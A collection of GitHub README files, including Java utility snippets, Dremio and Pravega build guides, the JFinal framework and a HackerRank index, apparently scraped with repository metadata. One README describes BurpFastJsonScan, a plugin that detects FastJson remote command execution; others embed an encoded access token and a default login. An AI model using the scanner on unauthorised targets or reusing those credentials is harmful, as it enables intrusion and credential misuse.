.reduce((a, b) -> lcm.applyAsInt(a, b)); } private static int gcd(int a, int b) { if (b == 0) { return a; } return gcd(b, a % b); } ``` ### findNextPositivePowerOfTwo Finds the next power of two greater than or equal to the value. This method uses left ship operator to shift 1 by the value on the right side. The right side is calculated using the `Integer.numberOfLeadingZeros` method. The `Integer.numberOfLeadingZeros` give the number of zeros leading the value. For example, calling `Integer.numberOfLeadingZeros(3)` would give value as 30. This is because 3 is represented in binary as `11`. As integer has 32 bits, so there are 30 bits with 0. The right side of the left shift operator becomes `32-30 = 2`. Left shifting 1 by 2 i.e. `001 << 2` would be `100`. `100` in decimal is equal to `4`. ```java public static int findNextPositivePowerOfTwo(int value) { return 1 << (32 - Integer.numberOfLeadingZeros(value - 1)); } ``` ### isEven Check if the number is even. This method uses bitwise & operator. The `0b1` is the binary representation of 1. Since, Java 7 you can write binary literals by prefixing them with either `0b` or `0B`. The & operator will return 0 when number is even. For example, `IsEven(4)` would result in `100` `&` `001`. The result of `&` will be `000`. ```java public static boolean isEven(final int value) { return (value & 0b1) == 0; } ``` ### isPowerOfTwo Checks if a value is positive power of two. To understand how it works let's assume we made a call `IsPowerOfTwo(4)`. As value is greater than 0, so right side of the `&&` operator will be evaluated. The result of `(~value + 1)` is equal to value itself. `~100 + 001` => `011 + 001` => `100`. This is equal to value. The result of `(value & value)` is value. `100` & `100` => `100`. This will value the expression to true as value is equal to value. ```Java public static boolean isPowerOfTwo(final int value) { return value > 0 && ((value & (~value + 1)) == value); } ``` ### generateRandomInt Generate a random integer between `Integer.MIN_VALUE` and `Integer.MAX_VALUE`. ```java public static int generateRandomInt() { return ThreadLocalRandom.current().nextInt(); } ``` ## String ### anagrams Generates all anagrams of a string (contains duplicates). ```java public static List<String> anagrams(String input) { if (input.length() <= 2) { return input.length() == 2 ? Arrays.asList(input, input.substring(1) + input.substring(0, 1)) : Collections.singletonList(input); } return IntStream.range(0, input.length()) .mapToObj(i -> new SimpleEntry<>(i, input.substring(i, i + 1))) .flatMap(entry -> anagrams(input.substring(0, entry.getKey()) + input.substring(entry.getKey() + 1)) .stream() .map(s -> entry.getValue() + s)) .collect(Collectors.toList()); } ``` ### byteSize Returns the length of a string in bytes. ```java public static int byteSize(String input) { return input.getBytes().length; } ``` ### capitalize Capitalizes the first letter of a string. ```Java public static String capitalize(String input, boolean lowerRest) { return input.substring(0, 1).toUpperCase() + (lowerRest ? input.substring(1, input.length()).toLowerCase() : input.substring(1, input.length())); } ``` ### capitalizeEveryWord Capitalizes the first letter of every word in a string. ```java public static String capitalizeEveryWord(final String input) { return Pattern.compile("\\b(?=\\w)").splitAsStream(input) .map(w -> capitalize(w, false)) .collect(Collectors.joining()); } ``` ### countVowels Retuns `number` of vowels in provided string. ```java public static int countVowels(String input) { return input.replaceAll("[^aeiouAEIOU]", "").length(); } ``` ### escapeRegExp Escapes a string to use in a regular expression. ```java public static String escapeRegExp(String input) { return Pattern.quote(input); } ``` ### fromCamelCase Converts a string from camelcase. ```java public static String fromCamelCase(String input, String separator) { return input .replaceAll("([a-z\\d])([A-Z])", "$1" + separator + "$2") .toLowerCase(); } ``` ### isAbsoluteUrl Returns `true` if the given string is an absolute URL, `false` otherwise. ```java public static boolean isAbsoluteUrl(String url) { return Pattern.compile("^[a-z][a-z0-9+.-]*:").matcher(url).find(); } ``` ### isLowerCase Checks if a string is lower case. ```java public static boolean isLowerCase(String input) { return Objects.equals(input, input.toLowerCase()); } ``` ### isUpperCase Checks if a string is upper case. ```java public static boolean isUpperCase(String input) { return Objects.equals(input, input.toUpperCase()); } ``` ### isPalindrome Checks if a string is palindrome. ```java public static boolean isPalindrome(String input) { String s = input.toLowerCase().replaceAll("[\\W_]", ""); return Objects.equals( s, new StringBuilder(s).reverse().toString() ); } ``` ### isNumeric Checks if a string is numeric. ```java public static boolean isNumeric(final String input) { return IntStream.range(0, input.length()) .allMatch(i -> Character.isDigit(input.charAt(i))); } ``` ### mask Replaces all but the last `num` of characters with the specified mask character. ```Java public static String mask(String input, int num, String mask) { int length = input.length(); return num > 0 ? input.substring(0, length - num).replaceAll(".", mask) + input.substring(length - num) : input.substring(0, Math.negateExact(num)) + input.substring(Math.negateExact(num), length).replaceAll(".", mask); } ``` ### reverseString Reverses a string. ```java public static String reverseString(String input) { return new StringBuilder(input).reverse().toString(); } ``` ### sortCharactersInString Alphabetically sorts the characters in a string. ```java public static String sortCharactersInString(String input) { return Arrays.stream(input.split("")).sorted().collect(Collectors.joining()); } ``` ### splitLines Splits a multiline string into an array of lines. ```java public static String[] splitLines(String input) { return input.split("\\r?\\n"); } ``` ### toCamelCase Converts a string to camelcase. ```java public static String toCamelCase(String input) { Matcher matcher = Pattern.compile("[A-Z]{2,}(?=[A-Z][a-z]+[0-9]*|\\b)|[A-Z]?[a-z]+[0-9]*|[A-Z]|[0-9]+").matcher(input); List<String> matchedParts = new ArrayList<>(); while (matcher.find()) { matchedParts.add(matcher.group(0)); } String s = matchedParts.stream() .map(x -> x.substring(0, 1).toUpperCase() + x.substring(1).toLowerCase()) .collect(Collectors.joining()); return s.substring(0, 1).toLowerCase() + s.substring(1); } ``` ### toKebabCase Converts a string to kebab case. ```java public static String toKebabCase(String input) { Matcher matcher = Pattern.compile("[A-Z]{2,}(?=[A-Z][a-z]+[0-9]*|\\b)|[A-Z]?[a-z]+[0-9]*|[A-Z]|[0-9]+").matcher(input); List<String> matchedParts = new ArrayList<>(); while (matcher.find()) { matchedParts.add(matcher.group(0)); } return matchedParts.stream() .map(String::toLowerCase) .collect(Collectors.joining("-")); } ``` ### match ```java public static List<String> match(String input, String regex) { Matcher matcher = Pattern.compile(regex).matcher(input); List<String> matchedParts = new ArrayList<>(); while (matcher.find()) { matchedParts.add(matcher.group(0)); } return matchedParts; } ``` ### toSnakeCase Converts a string to snake case. ```java public static String toSnakeCase(String input) { Matcher matcher = Pattern.compile("[A-Z]{2,}(?=[A-Z][a-z]+[0-9]*|\\b)|[A-Z]?[a-z]+[0-9]*|[A-Z]|[0-9]+").matcher(input); List<String> matchedParts = new ArrayList<>(); while (matcher.find()) { matchedParts.add(matcher.group(0)); } return matchedParts.stream() .map(String::toLowerCase) .collect(Collectors.joining("_")); } ``` ### truncateString Truncates a string up to a specified length. ```java public static String truncateString(String input, int num) { return input.length() > num ? input.substring(0, num > 3 ? num - 3 : num) + "..." : input; } ``` ### words Converts a given string into an array of words. ```Java public static String[] words(String input) { return Arrays.stream(input.split("[^a-zA-Z-]+")) .filter(s -> !s.isEmpty()) .toArray(String[]::new); } ``` ### stringToIntegers Converts a String of numbers separated by space to an array of ints. ```Java public static int[] stringToIntegers(String numbers) { return Arrays.stream(numbers.split(" ")).mapToInt(Integer::parseInt).toArray(); } ``` ## IO ### convertInputStreamToString Converts InputStream to a String. ```java public static String convertInputStreamToString(final InputStream in) throws IOException { ByteArrayOutputStream result = new ByteArrayOutputStream(); byte[] buffer = new byte[1024]; int length; while ((length = in.read(buffer)) != -1) { result.write(buffer, 0, length); } return result.toString(StandardCharsets.UTF_8.name()); } ``` ### readFileAsString Reads content of a file to a String ```java public String readFileAsString(Path path) throws IOException { return new String(Files.readAllBytes(path)); } ``` ### getCurrentWorkingDirectoryPath ```java public static String getCurrentWorkingDirectoryPath() { return FileSystems.getDefault().getPath("").toAbsolutePath().toString(); } ``` ### tmpDirName Returns the value of `java.io.tmpdir` system property. It appends separator if not present at the end. ```java public static String tmpDirName() { String tmpDirName = System.getProperty("java.io.tmpdir"); if (!tmpDirName.endsWith(File.separator)) { tmpDirName += File.separator; } return tmpDirName; } ``` ## Exception ### stackTraceAsString Converts exception stack trace to a String. ```java public static String stackTraceAsString(final Throwable throwable) { final StringWriter sw = new StringWriter(); throwable.printStackTrace(new PrintWriter(sw)); return sw.toString(); } ``` ## System ### osName Gets the name of the operating system as a lower case String. ```java public static String osName() { return System.getProperty("os.name").toLowerCase(); } ``` ### isDebuggerEnabled Checks if debugger is attached to the JVM. ```java public static boolean isDebuggerAttached() { final RuntimeMXBean runtimeMXBean = ManagementFactory.getRuntimeMXBean(); return runtimeMXBean.getInputArguments() .stream() .anyMatch(arg -> arg.contains("-agentlib:jdwp")); } ``` ## Class ### getAllInterfaces This methods returns all the interfaces implemented by the given class and its superclasses. This method works by concatenating two streams. The first stream is recursively built by creating a stream with the interface and all the interfaces implemented by the the interface. The second stream does the same for the super classes. The result is the concatenation of the two streams after removing the duplicates. ```java public static List<Class<?>> getAllInterfaces(Class<?> cls) { return Stream.concat( Arrays.stream(cls.getInterfaces()).flatMap(intf -> Stream.concat(Stream.of(intf), getAllInterfaces(intf).stream())), cls.getSuperclass() == null ? Stream.empty() : getAllInterfaces(cls.getSuperclass()).stream() ).distinct().collect(Collectors.toList()); } ``` ### isInnerClass This method checks if the specified class is an inner class or static nested class ```Java public static boolean isInnerClass(final Class<?> cls) { return cls != null && cls.getEnclosingClass() != null; } ``` ## Enum ### getEnumMap Converts to enum to Map where key is the name and value is Enum itself. ```java public static <E extends Enum<E>> Map<String, E> getEnumMap(final Class<E> enumClass) { return Arrays.stream(enumClass.getEnumConstants()) .collect(Collectors.toMap(Enum::name, Function.identity())); } ``` ## In News 1. Jetbrains Java Annotated Monthly covered little-java-functions in their [January newsletter](https://blog.jetbrains.com/idea/2018/01/java-annotated-monthly-january-2018/). 2. JavaChannel podcast covered little-java-functions in their [episode 11](https://javachannel.org/posts/javachannels-interesting-links-podcast-episode-11/). 3. little-java-functions was Github trending repository on 8th January 2018. ## Thanks This project started as a Java fork of [30-seconds-of-code](https://github.com/Chalarangelo/30-seconds-of-code). Thanks to the project collaborators for the effort.
0
dremio/dremio-oss
Dremio - the missing link in modern data
2017-07-17T20:17:04Z
null
# Dremio Dremio enables organizations to unlock the value of their data. ## Table of Contents 1. [Documentation](#documentation) 2. [Quickstart](#quickstart-how-to-build-and-run-dremio) 3. [Codebase Structure](#codebase-structure) 4. [Contributing](#contributing) 5. [Questions](#questions) ## Documentation Documentation is available at https://docs.dremio.com. ## Quickstart: How to build and run Dremio ### (a) Prerequisites * JDK 11 ([OpenJDK](https://adoptium.net/temurin/releases/) or Oracle) as the default JDK (`JAVA_HOME` set to it) * JDK 17 ([OpenJDK](https://adoptium.net/temurin/releases/) or Oracle) in Maven toolchain, required to run certain integration tests * (Optional) Maven 3.9.3 or later (using Homebrew: `brew install maven`) Run the following commands to verify that you have the correct versions of Maven and JDK installed: java -version mvn --version Add JDK 17 to the Maven toolchain, easiest to use `${HOME}/.m2/toolchains.xml`. Example: ```xml <?xml version="1.0" encoding="UTF-8"?> <toolchains> <toolchain> <type>jdk</type> <provides> <version>11</version> <vendor>sun</vendor> </provides> <configuration> <jdkHome>FULL_PATH_TO_YOUR_JAVA_11_HOME</jdkHome> </configuration> </toolchain> <toolchain> <type>jdk</type> <provides> <version>17</version> <vendor>sun</vendor> </provides> <configuration> <jdkHome>FULL_PATH_TO_YOUR_JAVA_17_HOME</jdkHome> </configuration> </toolchain> </toolchains> ``` ### (b) Clone the Repository git clone https://github.com/dremio/dremio-oss.git dremio ### (c) Build the Code cd dremio mvn clean install -DskipTests (or ./mvnw clean install -DskipTests if maven is not installed on the machine) The "-DskipTests" option skips most of the tests. Running all tests takes a long time. ### (d) Run/Install #### Run distribution/server/target/dremio-community-{DREMIO_VERSION}/dremio-community-{DREMIO_VERSION}/bin/dremio start OR to start a server with a default user (dremio/dremio123) mvn compile exec:exec -pl dac/daemon Once run, the UI is accessible at: http://localhost:9047 #### Production Install ##### (1) Unpack the tarball to install. mkdir /opt/dremio tar xvzf distribution/server/target/*.tar.gz --strip=1 -C /opt/dremio ##### (2) Start Dremio Embedded Mode cd /opt/dremio bin/dremio #### OSS Only To have the best possible experience with Dremio, we include a number of dependencies when building Dremio that are distributed under non-oss free (as in beer) licenses. Examples include drivers for major databases such as Oracle Database, Microsoft SQL Server, MySQL as well as enhancements to improve source pushdowns and thread scheduling. If you'd like to only include dependencies with OSS licenses, Dremio will continue to work but some features will be unavailable (such as connecting to databases that rely on these drivers). To build dremio with only OSS dependencies, you can add the following option to your Maven commandline: `-Ddremio.oss-only=true` The distribution directory will be `distribution/server/target/dremio-oss-{DREMIO_VERSION}/dremio-oss-{DREMIO_VERSION}` ## Codebase Structure | Directory | Details | |----------------------------------------|----------------------------------------------------------| | [dac](dac/README.md) | Dremio Analyst Center - The Dremio management component. | | [common](common/README.md) | Dremio Common | | [distribution](distribution/README.md) | Dremio Distribution | | [plugins](plugins/README.md) | Dremio Plugins | ## Contributing If you want to contribute to Dremio, please see [Contributing to Dremio](CONTRIBUTING.md). ## Questions? If you have questions, please post them on https://community.dremio.com.
0
jfinal/jfinal
JAVA WEB + ORM Framework
2012-04-25T08:48:48Z
null
## JAVA 极速WEB+ORM框架 JFinal [中文](README.md) [English](README_en.md) JFinal 是基于 Java 语言的极速 WEB + ORM 框架,其核心设计目标是开发迅速、代码量少、学习简单、功能强大、轻量级、易扩展、Restful。在拥有Java语言所有优势的同时再拥有 ruby、python 等动态语言的开发效率!为您节约更多时间,去陪恋人、家人和朋友 ;) #### JFinal有如下主要特点 - MVC 架构,设计精巧,使用简单 - 遵循 COC 原则,支持零配置,无 XML - 独创 Db + Record 模式,灵活便利 - ActiveRecord 支持,使数据库开发极致快速 - 极简、强大、高性能模板引擎 Enjoy,十分钟内掌握 90% 用法 - 自动加载修改后的 Java 文件,开发过程中无需重启服务 - AOP支持,拦截器配置灵活,功能强大 - Plugin 体系结构,扩展性强 - 多视图支持,支持 Enjoy、FreeMarker、JSP - 强大的 Validator 后端校验功能 - 功能齐全,拥有传统 SSH 框架的绝大部分核心功能 - 体积小仅 832 KB,并且无第三方依赖 **JFinal 极速开发微信公众号欢迎你的加入: JFinal** ## Maven 坐标 ```java <dependency> <groupId>com.jfinal</groupId> <artifactId>jfinal</artifactId> <version>5.1.1</version> </dependency> ``` ## 以下是JFinal实现Blog管理的示例: **1. 控制器(支持 Enjoy、JSP、JSON等等以及自定义视图渲染)** ```java @Before(BlogInterceptor.class) public class BlogController extends Controller { @Inject BlogService service; public void index() { set("blogPage", service.paginate(getInt(0, 1), 10)); render("blog.html"); } public void add() { } @Before(BlogValidator.class) public void save() { getModel(Blog.class).save(); redirect("/blog"); } public void edit() { set("blog", service.findById(getInt())); } @Before(BlogValidator.class) public void update() { getModel(Blog.class).update(); redirect("/blog"); } public void delete() { service.deleteById(getInt()); redirect("/blog"); } } ``` **2.Service所有业务与sql全部放在Service层** ```java public class BlogService { private Blog dao = new Blog().dao(); public Page<Blog> paginate(int pageNumber, int pageSize) { return dao.paginate(pageNumber, pageSize, "select *", "from blog order by id asc"); } public Blog findById(int id) { return dao.findById(id); } public void deleteById(int id) { dao.deleteById(id); } } ``` **3.Model(无xml、无annotaion、无attribute)** ```java public class Blog extends Model<Blog> { } ``` **4.Validator(API引导式校验,比xml校验方便N倍,有代码检查不易出错)** ```java public class BlogValidator extends Validator { protected void validate(Controller controller) { validateRequiredString("blog.title", "titleMsg", "请输入Blog标题!"); validateRequiredString("blog.content", "contentMsg", "请输入Blog内容!"); } protected void handleError(Controller controller) { controller.keepModel(Blog.class); } } ``` **5.拦截器(在此demo中仅为示例,本demo不需要此拦截器)** ```java public class BlogInterceptor implements Interceptor { public void intercept(Invocation inv) { System.out.println("Before invoking " + inv.getActionKey()); inv.invoke(); System.out.println("After invoking " + inv.getActionKey()); } } ``` ## 更多支持 - JFinal 官方网站 [https://jfinal.com](https://jfinal.com/) - 扫码关注官方微信公众号,第一时间尊享最新动向 ![JFinal](https://jfinal.com/assets/img/jfinal_weixin_service_qr_code_150.jpg)
0
pmiaowu/BurpFastJsonScan
一款基于BurpSuite的被动式FastJson检测插件
2020-12-15T02:22:42Z
null
# BurpFastJsonScan 一款基于BurpSuite的被动式FastJson检测插件 # 免责声明 该工具仅用于安全自查检测 由于传播、利用此工具所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,作者不为此承担任何责任。 本人拥有对此工具的修改和解释权。未经网络安全部门及相关部门允许,不得善自使用本工具进行任何攻击活动,不得以任何方式将其用于商业目的。 # 简介 BurpFastJsonScan 一个希望能节省一些渗透时间好进行划水的扫描插件 该插件会对BurpSuite传进来的带有json数据的请求包进行检测 目前的功能如下 - 命令回显 - 远程命令执行 # 请注意!!!! 默认使用jdk1.8编译 默认使用jdk1.8编译 默认使用jdk1.8编译 默认使用jdk1.8编译 在最新版的burp2.x中jdk为1x,会导致插件不可用,请自行下载源码使用当前电脑的jdk1x进行编译,谢谢 在最新版的burp2.x中jdk为1x,会导致插件不可用,请自行下载源码使用当前电脑的jdk1x进行编译,谢谢 在最新版的burp2.x中jdk为1x,会导致插件不可用,请自行下载源码使用当前电脑的jdk1x进行编译,谢谢 在最新版的burp2.x中jdk为1x,会导致插件不可用,请自行下载源码使用当前电脑的jdk1x进行编译,谢谢 在最新版的burp2.x中jdk为1x,会导致插件不可用,请自行下载源码使用当前电脑的jdk1x进行编译,谢谢 在最新版的burp2.x中jdk为1x,会导致插件不可用,请自行下载源码使用当前电脑的jdk1x进行编译,谢谢 在最新版的burp2.x中jdk为1x,会导致插件不可用,请自行下载源码使用当前电脑的jdk1x进行编译,谢谢 在最新版的burp2.x中jdk为1x,会导致插件不可用,请自行下载源码使用当前电脑的jdk1x进行编译,谢谢 在最新版的burp2.x中jdk为1x,会导致插件不可用,请自行下载源码使用当前电脑的jdk1x进行编译,谢谢 在最新版的burp2.x中jdk为1x,会导致插件不可用,请自行下载源码使用当前电脑的jdk1x进行编译,谢谢 # 编译方法 <details> <summary><b>编译方法</b></summary> 这是一个 java maven项目 默认java版本为 1.8 导入idea,打开刚刚好下载好的源码 ![](./images/1.png) 打开: /BurpFastJsonScan/pom.xml 安装对应的包,第一次安装依赖包需要比较久,慢慢等不要急 ![](./images/2.png) ![](./images/3.png) 编译文件地址: /BurpFastJsonScan/target/BurpFastJsonScan/ jar包地址: /BurpFastJsonScan/target/BurpFastJsonScan/BurpFastJsonScan.jar 项目配置文件地址: /BurpFastJsonScan/target/BurpFastJsonScan/resources/config.yml 接着拿着这个jar包, 导入BurpSuite即可 </details> # 安装方法 这是一个 java maven项目 如果你想自己编译的话, 那就下载本源码自己编译成 jar包 然后进行导入BurpSuite ![](./images/8.png) ![](./images/9.png) ![](./images/10.png) # 检测方法选择 目前有二种方法进行的检测 - 命令回显 - 远程命令执行 # 检测规则 - POST 的内容为json - GET 的参数内容为json - POST 的参数内容为json - Cookie 的参数内容为json ``` 例子: GET, POST, Cookie 有个参数 json json = {"aaa":"66666"} 那么就会去检测 json的这种就是请求包的内容直接就是json不带参数的那种, 也会去检测 ``` # 使用方法 我们正常去访问网站, 如果站点的某个请求出现了 json 那么该插件就会去尝试检测 访问完毕以后, 插件就会自动去进行扫描 如果有结果那么插件就会在以下地方显示 - Tag - Extender - Scanner-Issue activity # 问题查看 目前有这几个地方可以查看 ![](./images/4.png) ![](./images/5.png) ![](./images/6.png) # tag界面查看漏洞情况 ``` 现在可以通过tag界面查看漏洞情况了 分别会返回 - request no json = 请求没有json - request json no eligible = 请求json不符合条件 - the number of website problems has exceeded = exceeded 超出网站问题的数量 - the number of website scans exceeded = 超出网站可扫描次数 - waiting for test results = 等待测试结果 - [+] found fastJson command execution = 查找到fastJson命令执行 - [-] not found fastJson command execution = 没有查找到fastJson命令执行 - [x] scan task timed out = 扫描任务超时 - [x] unknown error = 未知的错误 当发生 unknown error 的时候,可以尝试在下方中查看错误详情 ``` ![](./images/7.png) # 疑难杂症解决 假如扫描出问题了,想要重新扫描怎么办? 例如tag一直出现如下问题: - the number of website problems has exceeded = exceeded 超出网站问题的数量 - the number of website scans exceeded = 超出网站可扫描次数 解决方案: ![](./images/11.png) # 如何切换dnslog的问题 编译完毕以后,进入BurpFastJsonScan文件夹,进入resources目录,打开config.yml 如下: ![](./images/12.png) ![](./images/13.png) 如果是想换成 DnsLogCn/BurpDnsLog 的话,只需要替换 provider这个值为对应的即可 如果想使用Ceye,那就需要如下操作: ![](./images/14.png) 获取token与Identifier 然后打开config.yml,填写成如下样子,如何重新安装插件即可: ![](./images/15.png)
0
pravega/pravega
Pravega - Streaming as a new software defined storage primitive
2016-07-11T19:41:03Z
null
<!-- Copyright Pravega Authors. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. --> # Pravega [![Build Status](https://github.com/pravega/pravega/workflows/build/badge.svg?branch=master)](https://github.com/pravega/pravega/actions?query=branch%3Amaster) [![codecov](https://codecov.io/gh/pravega/pravega/branch/master/graph/badge.svg?token=6xOvaR0sIa)](https://codecov.io/gh/pravega/pravega) [![License](https://img.shields.io/badge/License-Apache%202.0-blue.svg)](https://www.apache.org/licenses/LICENSE-2.0) [![Version](https://img.shields.io/github/release/pravega/pravega.svg)](https://github.com/pravega/pravega/releases) [![CII Best Practices](https://bestpractices.coreinfrastructure.org/projects/4178/badge)](https://bestpractices.coreinfrastructure.org/projects/4178) Pravega is an open source distributed storage service implementing **Streams**. It offers Stream as the main primitive for the foundation of reliable storage systems: a *high-performance, durable, elastic, and unlimited append-only byte stream with strict ordering and consistency*. To learn more about Pravega, visit https://pravega.io ## Prerequisites - Java 11+ In spite of the requirements of using JDK 11+ to build this project, `client` artifacts (and its dependencies) must be compatible with a *Java 8* runtime. All other components are built and ran using JDK11+. The `clientJavaVersion` project property determines the version used to build the client (defaults to *8*). ## Building Pravega Checkout the source code: ``` git clone https://github.com/pravega/pravega.git cd pravega ``` Build the pravega distribution: ``` ./gradlew distribution ``` Install pravega jar files into the local maven repository. This is handy for running the `pravega-samples` locally against a custom version of pravega. ``` ./gradlew install ``` Running unit tests: ``` ./gradlew test ``` ## Setting up your IDE Pravega uses [Project Lombok](https://projectlombok.org/) so you should ensure you have your IDE setup with the required plugins. Using IntelliJ is recommended. To import the source into IntelliJ: 1. Import the project directory into IntelliJ IDE. It will automatically detect the gradle project and import things correctly. 2. Enable `Annotation Processing` by going to `Build, Execution, Deployment` -> `Compiler` > `Annotation Processors` and checking 'Enable annotation processing'. 3. Install the `Lombok Plugin`. This can be found in `Preferences` -> `Plugins`. Restart your IDE. 4. Pravega should now compile properly. For eclipse, you can generate eclipse project files by running `./gradlew eclipse`. <sup> Note: Some unit tests will create (and delete) a significant amount of files. For improved performance on Windows machines, be sure to add the appropriate 'Microsoft Defender' exclusion.</sup> ## Releases The latest pravega releases can be found on the [Github Release](https://github.com/pravega/pravega/releases) project page. ## Snapshot artifacts All snapshot artifacts from `master` and `release` branches are available in GitHub Packages Registry Add the following to your repositories list and import dependencies as usual. ``` maven { url "https://maven.pkg.github.com/pravega/pravega" credentials { username = "pravega-public" password = "\u0067\u0068\u0070\u005F\u0048\u0034\u0046\u0079\u0047\u005A\u0031\u006B\u0056\u0030\u0051\u0070\u006B\u0079\u0058\u006D\u0035\u0063\u0034\u0055\u0033\u006E\u0032\u0065\u0078\u0039\u0032\u0046\u006E\u0071\u0033\u0053\u0046\u0076\u005A\u0049" } } ``` Note GitHub Packages requires authentication to download packages thus credentials above are required. Use the provided password as is, please do not decode it. If you need a dedicated token to use in your repository (and GitHub Actions) please reach out to us. As alternative option you can use JitPack (https://jitpack.io/#pravega/pravega) to get pre-release artifacts. ## Quick Start Read [Getting Started](documentation/src/docs/getting-started/quick-start.md) page for more information, and also visit [sample-apps](https://github.com/pravega/pravega-samples) repo for more applications. ## Running Pravega Pravega can be installed locally or in a distributed environment. The installation and deployment of pravega is covered in the [Running Pravega](documentation/src/docs/deployment/deployment.md) guide. ## Support Don’t hesitate to ask! Contact the developers and community on [slack](https://pravega-io.slack.com/) ([signup](https://join.slack.com/t/pravega-io/shared_invite/zt-245sgpw47-vbLBLiLfBdW9TlKemXkUnw)) if you need any help. Open an issue if you found a bug on [Github Issues](https://github.com/pravega/pravega/issues). ## Documentation The Pravega documentation is hosted on the website: <https://pravega.io/docs/latest> or in the [documentation](documentation/src/docs) directory of the source code. ## Contributing Become one of the contributors! We thrive to build a welcoming and open community for anyone who wants to use the system or contribute to it. [Here](documentation/src/docs/contributing.md) we describe how to contribute to Pravega! You can see the roadmap document [here](documentation/src/docs/roadmap.md). ## About Pravega is 100% open source and community-driven. All components are available under [Apache 2 License](https://www.apache.org/licenses/LICENSE-2.0.html) on GitHub.
0
RyanFehr/HackerRank
HackerRank solutions in Java/JS/Python/C++/C#
2016-09-11T01:23:55Z
null
[CopyrightLicense]:./license.md <p align="center"> <a href="https://www.hackerrank.com/ryanfehr18"><img src="https://cloud.githubusercontent.com/assets/19765741/25342064/d17a563c-28d8-11e7-83fc-763d4ab4820a.jpg" ></a> </p> <p align="center"> Solutions to problems on HackerRank. </p> <p align="center"> Check out HackerRank's new format <a href="./README_V2.md">here</a> </p> <p align="center"> If you are interested in helping or have a solution in a different language feel free to make a pull request. </p> <p align="center"> <img src="https://img.shields.io/badge/Problems%20Solved-153-brightgreen.svg"> <img src="https://img.shields.io/badge/Language-Java/JS/Python/C++/CSharp-orange.svg"> <img src="https://img.shields.io/badge/Latest%20Update-06/21/2018-brightgreen.svg"> </p> ## Algorithms ![AlgorithmsPoints] - [Warmup](https://github.com/RyanFehr/HackerRank#warmup) - [Implementation](https://github.com/RyanFehr/HackerRank#implementation) - [Strings](https://github.com/RyanFehr/HackerRank#strings) - [Sorting](https://github.com/RyanFehr/HackerRank#sorting) - [Search](https://github.com/RyanFehr/HackerRank#search) - [Graph Theory](https://github.com/RyanFehr/HackerRank#graph-theory) - [Greedy](https://github.com/RyanFehr/HackerRank#greedy) - [Dynamic Programming](https://github.com/RyanFehr/HackerRank#dynamic-programming) - [Constructive Algorithms](https://github.com/RyanFehr/HackerRank#constructive-algorithms) - [Bit Manipulation](https://github.com/RyanFehr/HackerRank#bit-manipulation) - [Recursion](https://github.com/RyanFehr/HackerRank#recursion) - [Game Theory](https://github.com/RyanFehr/HackerRank#game-theory) - [NP Complete](https://github.com/RyanFehr/HackerRank#np-complete) ## DataStructures ![DataStructuresPoints] - [Arrays](https://github.com/RyanFehr/HackerRank#arrays) - [Linked Lists](https://github.com/RyanFehr/HackerRank#linked-lists) - [Trees](https://github.com/RyanFehr/HackerRank#trees) - [Balanced Trees](https://github.com/RyanFehr/HackerRank#balanced-trees) - [Stacks](https://github.com/RyanFehr/HackerRank#stacks) - [Queues](https://github.com/RyanFehr/HackerRank#queues) - [Heap](https://github.com/RyanFehr/HackerRank#heap) - [Disjoint Set](https://github.com/RyanFehr/HackerRank#disjoint-set) - [Multiple Choice](https://github.com/RyanFehr/HackerRank#multiple-choice) - [Trie](https://github.com/RyanFehr/HackerRank#trie) - [Advanced](https://github.com/RyanFehr/HackerRank#advanced) ## Mathematics ![MathematicsPoints] - [Fundamentals](https://github.com/RyanFehr/HackerRank#fundamentals) - Number Theory - Combinatorics - Algebra - Geometry - Probability - Linear Algebra Foundations ## Java ![JavaPoints] - Introduction - Strings - BigNumber - Data Structures - [Object Oriented Programming](https://github.com/RyanFehr/HackerRank#object-oriented-programming) - Exception Handling - Advanced ### Warmup | # | Title | Solution | Time | Space | Difficulty | Points | Note -----|---------------- |:---------------:| --------------- | --------------- |:-------------:|:--------------:| ----- | |[Solve Me First](https://www.hackerrank.com/challenges/solve-me-first)| <ul><li>[Java](./Algorithms/Warmup/Solve%20Me%20First/Solution.java)</li> <li>[C#](./Algorithms/Warmup/Solve%20Me%20First/Solution.cs)</li><ul> | _O(1)_ | _O(1)_| Easy | 1 | || | |[Simple Array Sum](https://www.hackerrank.com/challenges/simple-array-sum)| <ul><li>[Java](./Algorithms/Warmup/Simple%20Array%20Sum/Solution.java)</li> <li>[C#](./Algorithms/Warmup/Simple%20Array%20Sum/Solution.cs)</li><ul> | _O(n)_ | _O(1)_ | Easy | 10 | || | |[Compare the Triplets](https://www.hackerrank.com/challenges/compare-the-triplets)| <ul><li>[Java](./Algorithms/Warmup/Compare%20the%20Triplets/Solution.java)</li> <li>[C#](./Algorithms/Warmup/Compare%20the%20Triplets/Solution.cs)</li><ul> | _O(1)_ | _O(1)_ | Easy | 10 | || | |[A Very Big Sum](https://www.hackerrank.com/challenges/a-very-big-sum)| <ul><li>[Java](./Algorithms/Warmup/A%20Very%20Big%20Sum/Solution.java)</li> <li>[C#](./Algorithms/Warmup/A%20Very%20Big%20Sum/Solution.cs)</li><ul> | _O(n)_ | _O(1)_ | Easy | 10 | || | |[Diagonal Difference](https://www.hackerrank.com/challenges/diagonal-difference)| <ul><li>[Java](./Algorithms/Warmup/Diagonal%20Difference/Solution.java)</li><li>[C#](./Algorithms/Warmup/Diagonal%20Difference/Solution.cs)</li><ul> | _O(n)_ | _O(1)_ | Easy | 10 | || | |[Plus Minus](https://www.hackerrank.com/challenges/plus-minus)| <ul><li>[Java](./Algorithms/Warmup/Plus%20Minus/Solution.java)</li><li>[C#](./Algorithms/Warmup/Plus%20Minus/Solution.cs)</li><ul> | _O(n)_ | _O(1)_ | Easy | 10 | || | |[Staircase](https://www.hackerrank.com/challenges/staircase)| <ul><li>[Java](./Algorithms/Warmup/Staircase/Solution.java)</li><li>[C#](./Algorithms/Warmup/Staircase/Solution.cs)</li><ul> | _O(n)_ | _O(n)_ | Easy | 10 | || | |[Mini-Max Sum](https://www.hackerrank.com/challenges/mini-max-sum)| <ul><li>[Java](./Algorithms/Warmup/Mini-Max%20Sum/Solution.java)</li><li>[C#](./Algorithms/Warmup/Mini-Max%20Sum/Solution.cs)</li><ul> | _O(1)_ | _O(1)_ | Easy | 10 | || | |[Time 